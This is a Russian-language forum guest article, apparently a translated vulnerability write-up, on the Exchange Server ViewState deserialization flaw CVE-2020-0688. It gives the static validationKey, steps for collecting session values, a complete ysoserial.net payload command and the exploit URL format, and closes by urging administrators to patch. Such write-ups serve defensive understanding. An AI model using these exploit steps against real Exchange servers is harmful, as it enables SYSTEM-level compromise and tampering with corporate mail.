• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Гостевая статья CVE-2020-0688: Удаленное выполнение кода на сервере microsoft exchange с помощью фиксированных криптографических ключей

В последнем патче, выпущенный во вторник, корпорация Майкрософт добавила для устранения ошибки удаленного выполнения кода в Microsoft Exchange Server. Об этой уязвимости сообщил нам анонимный исследователь, и она затрагивает все поддерживаемые версии Microsoft Exchange Server вплоть до последнего патча. Вот краткое видео об ошибке в действии:
Первоначально Microsoft заявляла, что эта ошибка связана с уязвимостью повреждения памяти и может быть использована специально созданным письмом, отправленным на уязвимый сервер Exchange. С тех пор они пересмотрели свое описание, чтобы (правильно) указать, что уязвимость возникает из-за того, что Exchange Server не может правильно создать уникальные криптографические ключи во время установки.

В частности, ошибка обнаружена в компоненте панели управления Exchange (ECP). Природа ошибки довольно проста. Вместо случайного генерирования ключей для каждой установки все установки Microsoft Exchange Server имеют одинаковые значения validationKey и decryptionKey значения в web.config. Эти ключи используются для обеспечения безопасности ViewState. ViewState - это данные на стороне сервера, которые веб-приложения ASP.NET хранят в сериализованном формате на клиенте. Клиент предоставляет эти данные обратно на сервер через __VIEWSTATE параметр запроса.

Picture1.png

Отрывок файла web.config, содержащего статический ключ validationKey.

Благодаря использованию статических ключей злоумышленник, прошедший проверку подлинности, может заставить сервер десериализовать вредоносные данные ViewState. С помощью YSoSerial.net злоумышленник может выполнить произвольный код .NET на сервере в контексте веб-приложения панели управления Exchange, которое запускается как SYSTEM.

Чтобы воспользоваться этой уязвимостью, необходимо собрать ViewStateUserKey и __VIEWSTATEGENERATOR значения из авторизованной сессии. Их ViewStateUserKey можно получить из _SessionID файла cookie ASP.NET , а ViewStateUserKey в скрытом поле. Все это можно легко получить с помощью стандартных инструментов разработчика в браузере.

Для начала перейдите на /ecp/default.aspx страницу и войдите в систему. У используемой учетной записи не должно быть никаких специальных привилегий. В этом примере мы используем учетную запись с именем user:
Picture2.png


Чтобы продолжить, нам нужно собрать некоторую информацию. Самая ценная часть уже известна:
Код:
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1
Чтобы получить ViewStateUserKey и __VIEWSTATEGENERATOR, откройте вкладку «Сеть» Dev Tools (F12) и повторно отправьте запрос, нажав F5. Нам нужен необработанный ответ на запрос /ecp/default.aspxпри входе в систему:
Picture3.png


Как видите, __VIEWSTATEGENERATOR значение видно в исходной странице. В этом примере его значение равно B97B4E27. По всей вероятности, ваше значение будет одинаковым. Затем откройте Headers вкладку и найдите ASP.NET_SessionId cookie в Request headers:

Picture4.png


В этом примере его значение равно 05ae4b41-51e1-4c3a-9241-6b87b169d663.

Теперь у нас есть вся информация, необходимая для проведения атаки:

Код:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
--validationalg = SHA1
--generator = B97B4E27
--viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

Следующим шагом является создание полезной нагрузки ViewState с использованием ysoserial.net. Мы создадим полезную нагрузку, которая демонстрирует выполнение кода, создав файл C:\Vuln_Server.txt:

Код:
   ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

Picture5.png


Наконец, нам нужно кодировать URL-адрес полезной нагрузки ViewState и создать URL-адрес следующим образом:
Код:
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
заменяя генератор и URL-кодированный ViewState, полученный выше.

Затем мы отправляем полученный URL-адрес на сервер Exchange, просто вставив его в адресную строку браузера:
Picture6.png


Сервер пожалуется 500 Unexpected Error, но атака успешна. Изучение влияния на целевой сервер:

Picture9.png


Конечно же, файл Vuln_Server.txtтеперь существует. Изучение информации о владельце файла подтверждает, что он был создан процессом с маркером SYSTEM.

Picture10.png


Это демонстрирует, что злоумышленник может выполнить произвольный код как SYSTEM и полностью скомпрометировать целевой сервер Exchange.

Вывод

Microsoft исправила эту уязвимость в феврале 2020 года как , Согласно их описанию, они устранили эту уязвимость, «исправляя то, как Microsoft Exchange создает ключи во время установки». Другими словами, они теперь рандомизируют криптографические ключи во время установки. Microsoft оценила это как Важное по серьезности, вероятно потому, что злоумышленник должен сначала пройти проверку подлинности. Следует отметить, однако, что внутри предприятия большинству пользователей будет разрешено проходить аутентификацию на сервере Exchange. Точно так же любой внешний злоумышленник, который скомпрометировал устройство или учетные данные любого корпоративного пользователя, сможет перейти на сервер Exchange. После этого злоумышленник сможет разглашать или подделывать корпоративные почтовые сообщения по желанию. Соответственно, если вы являетесь администратором Exchange Server, Вы должны рассматривать это как исправление с критической оценкой и развертывать его, как только ваше тестирование будет завершено. Microsoft перечисляет это с индексом эксплойтов 1, что означает, что они ожидают увидеть эксплойты в течение 30 дней после выпуска патча. Как продемонстрировано, это, безусловно, кажется вероятным.


Источник:
 
  • Нравится
Реакции: Ondrik8, but43r и Debug
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!